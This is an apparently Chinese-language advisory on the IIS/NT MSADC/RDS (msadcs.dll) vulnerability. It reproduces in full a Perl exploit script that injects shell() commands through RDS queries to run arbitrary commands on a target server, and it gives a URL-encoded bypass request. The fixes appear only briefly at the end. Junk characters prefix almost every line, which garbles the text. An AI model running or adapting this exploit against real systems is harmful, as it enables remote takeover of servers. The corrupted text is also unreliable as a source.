IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
gr{ DWCK b$7 +;I; 涉及程序:
{vj)76%y Microsoft NT server
"~nZ GiK Zfw,7am/ 描述:
*Ly6`HZ9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
5(2;|I,T F{wzB 详细:
y}
'@R$ 如果你没有时间读详细内容的话,就删除:
d5b%
W3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
N[hG8f 有关的安全问题就没有了。
QPx^_jA t-AmX)$ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
rOYx
b }1 m~|40) 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
;"I^ZFYX 关于利用ODBC远程漏洞的描述,请参看:
cK@wsA^4 <v2;p}A http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )+^+sd ~Ei<Z`3}7" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
+ 3gp%`c4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp TpaInXR CITc2v3a 这里不再论述。
<aw[ XFg !Cs_F&l"j 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
f<_Cq<q" ]GS bjHsO /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
`^vE9nW7 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
km(Po} Wqnc{oq|$ _`V'r#Qn #将下面这段保存为txt文件,然后: "perl -x 文件名"
`L
zPotz wzA$'+Mb #!perl
=|=(l)8 #
&m3lXl # MSADC/RDS 'usage' (aka exploit) script
bcyzhK= #
1 zZlC#V # by rain.forest.puppy
]5O~+Nf #
=]t|];c% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
GyIV
Hby # beta test and find errors!
Xvv6~ 7$b1<.WX use Socket; use Getopt::Std;
H\
% 7% getopts("e:vd:h:XR", \%args);
6863xOv{T 1oS/`) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
wY#E?, R-:2HRaA if (!defined $args{h} && !defined $args{R}) {
?[AD=rUC print qq~
c$,P ~Ws' Usage: msadc.pl -h <host> { -d <delay> -X -v }
Z;i:]( -h <host> = host you want to scan (ip or domain)
Dv"9qk -d <seconds> = delay between calls, default 1 second
;gkM{={`p -X = dump Index Server path table, if available
ZNoDFf*h -v = verbose
45e~6", -e = external dictionary file for step 5
sB</DS XSDpRo Or a -R will resume a command session
Hz~zu{;{J CAJ'zA|o ~; exit;}
r$1Qf}J3= yevPHN"M $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;jXgAAz7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*hx if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
vdZW%-A&\ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
d$RIS+V $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
`A >@]d if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
]lbuy7xj63
2iOV/=+ if (!defined $args{R}){ $ret = &has_msadc;
YVU7wW,1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\G[$:nS S!UaH>Rh print "Please type the NT commandline you want to run (cmd /c assumed):\n"
3<!7>]A . "cmd /c ";
M7T5
~/4 $in=<STDIN>; chomp $in;
Ey2^? $command="cmd /c " . $in ;
'V {W-W< QY/w if (defined $args{R}) {&load; exit;}
zdYjF| r"
y.KD^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
2:kH[# &try_btcustmr;
O?2DQY?jT +R &gqja print "\nStep 2: Trying to make our own DSN...";
![1rzQvGDb &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
-~1~I
e2 TxD#9]Q` print "\nStep 3: Trying known DSNs...";
2 nCA<& &known_dsn;
$]d^-{| vQCy\Gi print "\nStep 4: Trying known .mdbs...";
}j%5t ~Qa &known_mdb;
L_T5nD^D M-71 1|eGI if (defined $args{e}){
wj,=$RX print "\nStep 5: Trying dictionary of DSN names...";
+whDU2 " &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
q1,~ py4 h(04u print "Sorry Charley...maybe next time?\n";
A&VG~r$ exit;
KPF1cJ2N w>gYx(8b ##############################################################################
xpt:BBo Sc0w.5m6 sub sendraw { # ripped and modded from whisker
(HVGlw'` sleep($delay); # it's a DoS on the server! At least on mine...
X8|, my ($pstr)=@_;
.]^?<bG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ueudRb die("Socket problems\n");
G[=c
Ss, if(connect(S,pack "SnA4x8",2,80,$target)){
pP_LR
ks} select(S); $|=1;
O-^Ma-} print $pstr; my @in=<S>;
t_^4`dW` select(STDOUT); close(S);
C]6O!Pb0 return @in;
)e{aN+ } else { die("Can't connect...\n"); }}
&ncvGDGi XSRsGTCC= ##############################################################################
AH^/V}9H w<#!h6Y= sub make_header { # make the HTTP request
r@V!,k#S my $msadc=<<EOT
rp$'L7lrX POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
V`- 9m$ User-Agent: ACTIVEDATA
!g[Zfo2r" Host: $ip
>7|VR:U?B Content-Length: $clen
Ac@VGT:9 Connection: Keep-Alive
s[jTP(d)8 uT"rq:N ADCClientVersion:01.06
K0~rN.C!0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9w"*y#_ 1?}T=)3+$ --!ADM!ROX!YOUR!WORLD!
DQ3<$0 Content-Type: application/x-varg
dN q$} Content-Length: $reqlen
h{Y",7]!
];m_4 EOT
LV Ge]lD ; $msadc=~s/\n/\r\n/g;
Xvu(vA return $msadc;}
vP&(-a aN?zmkPpov ##############################################################################
/:
"1Z]@ <)9y{J}s: sub make_req { # make the RDS request
CJ}%W# my ($switch, $p1, $p2)=@_;
]Ze1s02( my $req=""; my $t1, $t2, $query, $dsn;
)7F/O3Tq 0kh6@y3 if ($switch==1){ # this is the btcustmr.mdb query
M%HU4pTW#o $query="Select * from Customers where City=" . make_shell();
I9Xuok!0>= $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ye&;(30Oq $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
nlP;nl W ~ljXzD93Z elsif ($switch==2){ # this is general make table query
0J9x9j`&j $query="create table AZZ (B int, C varchar(10))";
lA]8&+,ZM $dsn="$p1";}
jcOcWB| 1}x%%RD_ elsif ($switch==3){ # this is general exploit table query
K?;DMUSY\ $query="select * from AZZ where C=" . make_shell();
afVT~Sf{ $dsn="$p1";}
+(Ae4{z"1+ +7Gwg elsif ($switch==4){ # attempt to hork file info from index server
)nkY_'BV $query="select path from scope()";
L *wYx| $dsn="Provider=MSIDXS;";}
J1k>07}| K-v#.e4 elsif ($switch==5){ # bad query
D*jM1w_` $query="select";
pi(m7Ci" $dsn="$p1";}
-@'FW*b Lbgi7|& $t1= make_unicode($query);
.v
K-LHs $t2= make_unicode($dsn);
e'~3oqSvR $req = "\x02\x00\x03\x00";
Q,g\ $req.= "\x08\x00" . pack ("S1", length($t1));
dO'(2J8 $req.= "\x00\x00" . $t1 ;
ytImB`'\ $req.= "\x08\x00" . pack ("S1", length($t2));
5m@V#2^P $req.= "\x00\x00" . $t2 ;
?<!| $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
oH@78D0A return $req;}
!$JT e C%u28| ##############################################################################
KlEpzJ98 7CysfBF0g sub make_shell { # this makes the shell() statement
-7ep{p- return "'|shell(\"$command\")|'";}
sJZiI}Xc >4TO=i ##############################################################################
9up3[F$ t@(HF-4~= sub make_unicode { # quick little function to convert to unicode
Rcuz(yS8 my ($in)=@_; my $out;
1MFbQs^ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/ZX}Nc g return $out;}
6ujWNf #!=tDc
& ##############################################################################
97Vtn4N3 /vt3>d%B; sub rdo_success { # checks for RDO return success (this is kludge)
F ,kZU$ my (@in) = @_; my $base=content_start(@in);
F59 TZI if($in[$base]=~/multipart\/mixed/){
W9&=xs6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Qs!5<)6
return 0;}
w0.
u\ + {]j]OP ##############################################################################
k$Vl fQ'+ 5P bW[ sub make_dsn { # this makes a DSN for us
PCA4k.,T my @drives=("c","d","e","f");
[),ige print "\nMaking DSN: ";
C!gZN9- foreach $drive (@drives) {
Ry&6p>- print "$drive: ";
Py<}S-: my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
gGYKEq{j( "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+`4A$#$+y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
T{"(\X$ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6]N.%Y[( return 0 if $2 eq "404"; # not found/doesn't exist
bA 2pbjg= if($2 eq "200") {
@ Qe0! (_= foreach $line (@results) {
btB%[] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
9c],<;{' } return 0;}
637:
oT_`O ceA9){ ##############################################################################
}V>T M{ U$g?!Yl0 sub verify_exists {
crCJrN= my ($page)=@_;
\8tsDG(1 ' my @results=sendraw("GET $page HTTP/1.0\n\n");
H,J8M{ return $results[0];}
l;U?Z'n )oZ dj` ##############################################################################
"@kaHIf[ *p d@.|^)m sub try_btcustmr {
3`HV(5U[ my @drives=("c","d","e","f");
gw(z1L5
n my @dirs=("winnt","winnt35","winnt351","win","windows");
K3C <{#r kfNWI#'9
foreach $dir (@dirs) {
\e_O4
print "$dir -> "; # fun status so you can see progress
N`i/mP foreach $drive (@drives) {
~&O%N print "$drive: "; # ditto
pAEx#ck $reqlen=length( make_req(1,$drive,$dir) ) - 28;
?2a $*( $reqlenlen=length( "$reqlen" );
1YA% -~ $clen= 206 + $reqlenlen + $reqlen;
@HW*09TG ESs\O?nO my @results=sendraw(make_header() . make_req(1,$drive,$dir));
U*:!W=XN if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
g0H[*"hj else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Rcv9mj]l <3iMRe ##############################################################################
0(Ij%Wi, 49P4b<1 sub odbc_error {
^.tg 7%dJ my (@in)=@_; my $base;
GILfbNcd my $base = content_start(@in);
}G=M2V<L if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
N!3 2 wJ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^8tEach $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C~[,z.FvO $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lr?;*f^3
return $in[$base+4].$in[$base+5].$in[$base+6];}
SuznN
L=/$ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Cw%{G'O print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
c,22*.V/ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
zi:BF60]= ax2B ]L2 ##############################################################################
]Dzlp7Y} -di o5a sub verbose {
mmsPLv6 my ($in)=@_;
o
K@"f9 return if !$verbose;
VL^EHb7 print STDOUT "\n$in\n";}
d _
e WcI Q\)F;: | ##############################################################################
p<2,=*2 *"kM{*3:v sub save {
BY*Q_Et my ($p1, $p2, $p3, $p4)=@_;
E4!Fupkpf open(OUT, ">rds.save") || print "Problem saving parameters...\n";
%\DX#. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
GfG|&VNlz close OUT;}
'S~5"6r ~
1 pr~ ##############################################################################
(t.Nk[ l~.-e^p? sub load {
JRFtsio* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)+M0Y_r open(IN,"<rds.save") || die("Couldn't open rds.save\n");
z2c6T.1M @p=<IN>; close(IN);
zL it $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ddo#P%sH' $target= inet_aton($ip) || die("inet_aton problems");
-N@|QK> print "Resuming to $ip ...";
-/k 3a*$/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
y]imZ4{/ if($p[1]==1) {
}%z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Wm|lSisY $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
eFAnFJ][L my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
"j-CZ\]U| if (rdo_success(@results)){print "Success!\n";}
r/sNrB1U"y else { print "failed\n"; verbose(odbc_error(@results));}}
U&xUfBDt elsif ($p[1]==3){
:LTN!jj if(run_query("$p[3]")){
nm+s{ print "Success!\n";} else { print "failed\n"; }}
-hV*EPQ/ elsif ($p[1]==4){
]?)TdJ` if(run_query($drvst . "$p[3]")){
<Qq*p print "Success!\n"; } else { print "failed\n"; }}
C>~TI,5a3 exit;}
/> Nt[o[r uMv1O{ ##############################################################################
*kVV+H<X|b b\ PgVBf9 sub create_table {
+3`alHUK my ($in)=@_;
[V!tVDs&'o $reqlen=length( make_req(2,$in,"") ) - 28;
dd["dBIZ ' $reqlenlen=length( "$reqlen" );
2Hdu:"j $clen= 206 + $reqlenlen + $reqlen;
]d`VT)~vje my @results=sendraw(make_header() . make_req(2,$in,""));
*dF>_F return 1 if rdo_success(@results);
DJ%PWlK5 my $temp= odbc_error(@results); verbose($temp);
h$=2 p5'- return 1 if $temp=~/Table 'AZZ' already exists/;
kl,3IKHa return 0;}
s7EinI{^ L(o15 ##############################################################################
e*!kZAf qVPeB,kIz sub known_dsn {
3[&C g # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.G^YqJ 4 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~v83pu1!2s "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
<| &Npd' "banner", "banners", "ads", "ADCDemo", "ADCTest");
,
dp0;nkr 5coZ|O&f8 foreach $dSn (@dsns) {
rH>)oThA# print ".";
Wvqhl
'J next if (!is_access("DSN=$dSn"));
Hefg[$m if(create_table("DSN=$dSn")){
p8Q1-T3v print "$dSn successful\n";
Gc!x|V;T if(run_query("DSN=$dSn")){
hEk$d.!} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1U\z5$V print "Something's borked. Use verbose next time\n";}}} print "\n";}
"mNq&$ ^t"'rD-I ##############################################################################
X?$_Sd"G+5 <t,x RBk sub is_access {
njw|JnDv my ($in)=@_;
ETLD$=iS $reqlen=length( make_req(5,$in,"") ) - 28;
Fx+*S3==%e $reqlenlen=length( "$reqlen" );
kW (Bkuc) $clen= 206 + $reqlenlen + $reqlen;
pNIf=lA my @results=sendraw(make_header() . make_req(5,$in,""));
JLi|Td"1% my $temp= odbc_error(@results);
CP{cAzHO verbose($temp); return 1 if ($temp=~/Microsoft Access/);
d| {r5[& return 0;}
]_f<kW\1* 2m[<]$ ##############################################################################
6R5Qy]]E ;GI&lpKK sub run_query {
Z)\@i=m my ($in)=@_;
K@#L)VT! $reqlen=length( make_req(3,$in,"") ) - 28;
d/Q%IeEL. $reqlenlen=length( "$reqlen" );
)ANmIwmC# $clen= 206 + $reqlenlen + $reqlen;
[9 RR8 my @results=sendraw(make_header() . make_req(3,$in,""));
EZj9wd"u return 1 if rdo_success(@results);
3Y~>qGQwh my $temp= odbc_error(@results); verbose($temp);
9K&:V(gmw return 0;}
h}EPnC} AK#1]i~ ##############################################################################
'=6\v! ;\l,5EG sub known_mdb {
{_Gs*<. my @drives=("c","d","e","f","g");
ZW}_Qs my @dirs=("winnt","winnt35","winnt351","win","windows");
mQ=#nk$~g my $dir, $drive, $mdb;
L:8q8i my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
IMfqiH) )Z
VD+X # this is sparse, because I don't know of many
4H-'Dr=G my @sysmdbs=( "\\catroot\\icatalog.mdb",
3&/Ixm: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
${)b[22": "\\system32\\certmdb.mdb",
#=v~8 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
9M9?%N:ra (khL-F my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F:l%O#V "\\cfusion\\cfapps\\forums\\forums_.mdb",
5^KWCS7@ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
OC:T
O|S:4 "\\cfusion\\cfapps\\security\\realm_.mdb",
3Hm/(C "\\cfusion\\cfapps\\security\\data\\realm.mdb",
4g7)i L^#~ "\\cfusion\\database\\cfexamples.mdb",
Y#3c }qb "\\cfusion\\database\\cfsnippets.mdb",
,u
g@f-T "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
AFfAtu "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0AV c "\\cfusion\\brighttiger\\database\\cleam.mdb",
2dzrRH "\\cfusion\\database\\smpolicy.mdb",
A= {UL "\\cfusion\\database\cypress.mdb",
p6WX9\qS( "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
,=mS,r7 "\\website\\cgi-win\\dbsample.mdb",
D )'bH5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
TW>WHCAm "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
*|E[L^ ); #these are just
XS BA$y foreach $drive (@drives) {
65m"J' foreach $dir (@dirs){
^Q^_?~h*! foreach $mdb (@sysmdbs) {
-o.:P>/ print ".";
W"3ph6[eW if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
"x /OIf print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5P$4 =z91 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Ip]KPrwp print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(%:c#;# } else { print "Something's borked. Use verbose next time\n"; }}}}}
9<)NvU^-r (Clkv foreach $drive (@drives) {
-B\HI*u foreach $mdb (@mdbs) {
zkdetrR print ".";
:#~j:C| if(create_table($drv . $drive . $dir . $mdb)){
OaZQ7BGq print "\n" . $drive . $dir . $mdb . " successful\n";
)tnh4WMh} if(run_query($drv . $drive . $dir . $mdb)){
?KI,cl print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
aoa)BNs } else { print "Something's borked. Use verbose next time\n"; }}}}
d5z`B H. }
1&o|TT/ a+PzI x2 ##############################################################################
hDq`Z$_+KX
0nD/;\OU sub hork_idx {
=iD3Yt print "\nAttempting to dump Index Server tables...\n";
13=.H5 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
^w06<m $reqlen=length( make_req(4,"","") ) - 28;
:<#nTh_@\' $reqlenlen=length( "$reqlen" );
B !=F2 $clen= 206 + $reqlenlen + $reqlen;
:$9tF> my @results=sendraw2(make_header() . make_req(4,"",""));
2Q"K8=s if (rdo_success(@results)){
E\2%E@0# my $max=@results; my $c; my %d;
PIpi1v*qz for($c=19; $c<$max; $c++){
{&T_sw@[ $results[$c]=~s/\x00//g;
;{o|9x| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
q8Z<{#oXu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
SN!?}<|U $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
RlDn0s $d{"$1$2"}="";}
9pxc~= foreach $c (keys %d){ print "$c\n"; }
x~j`@k,; } else {print "Index server doesn't seem to be installed.\n"; }}
oFGhNk LRMx<X8 ##############################################################################
:TC@tM~Oy NL0n009"c$ sub dsn_dict {
QS]1daMIK< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
}<y7bqA while(<IN>){
@[i4^ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*``JamnSO next if (!is_access("DSN=$dSn"));
Q( {
r@*g if(create_table("DSN=$dSn")){
m<qJcZk print "$dSn successful\n";
=k:,qft2 if(run_query("DSN=$dSn")){
R#8L\1l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Y]u+\y~ print "Something's borked. Use verbose next time\n";}}}
[bNx^VP* print "\n"; close(IN);}
bB;5s`- r!a3\ep ##############################################################################
H_<C!OgR f &wb sub sendraw2 { # ripped and modded from whisker
{LQ#y/H? sleep($delay); # it's a DoS on the server! At least on mine...
y[_Q- my ($pstr)=@_;
_8)*]- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,tJ"
5O3- die("Socket problems\n");
{ Z5nGG if(connect(S,pack "SnA4x8",2,80,$target)){
'W,jMju print "Connected. Getting data";
1&(V open(OUT,">raw.out"); my @in;
;x1PS select(S); $|=1; print $pstr;
; XN{x while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
f_Av3 close(OUT); select(STDOUT); close(S); return @in;
7y@Pa&^8 } else { die("Can't connect...\n"); }}
{9aE5kR "djw>|,N< ##############################################################################
pK'V9fD5J #7YY<)
xt} sub content_start { # this will take in the server headers
tWa)_y my (@in)=@_; my $c;
\1 &,|\E# for ($c=1;$c<500;$c++) {
l9u!aD if($in[$c] =~/^\x0d\x0a/){
FA3~|Zg if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
EJ:%}HhA else { return $c+1; }}}
nl,uuc*; return -1;} # it should never get here actually
Eq\M;aDq QM#4uI55B ##############################################################################
K$_0`>[ aC.~&MxFC sub funky {
9dUravC7 my (@in)=@_; my $error=odbc_error(@in);
t#pS{.I if($error=~/ADO could not find the specified provider/){
z}ddqZ27G$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
{"QNJq#: exit;}
Um-[~- if($error=~/A Handler is required/){
7 uKY24 print "\nServer has custom handler filters (they most likely are patched)\n";
`o8/(`a exit;}
'>ssqBnI if($error=~/specified Handler has denied Access/){
oVfLnI; print "\nServer has custom handler filters (they most likely are patched)\n";
&,CiM0 exit;}}
rOOT8nkR# I4q9|'-yx ##############################################################################
,lA s 0h\smqm sub has_msadc {
-Z
Ugx$ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
CxG#"{& my $base=content_start(@results);
6WJ)by return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
"Yj'oE%\ return 0;}
NI
[
pp` hPePB= ########################
364`IC( a 9g"2^^wD i||]V*5n 解决方案:
wN-d'-z/rd 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}n2M G 2、移除web 目录: /msadc